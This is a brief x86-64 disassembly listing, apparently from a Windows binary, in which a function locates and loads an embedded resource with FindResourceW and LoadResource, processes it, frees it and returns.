call fcn.1400314cc
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140018bc0
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret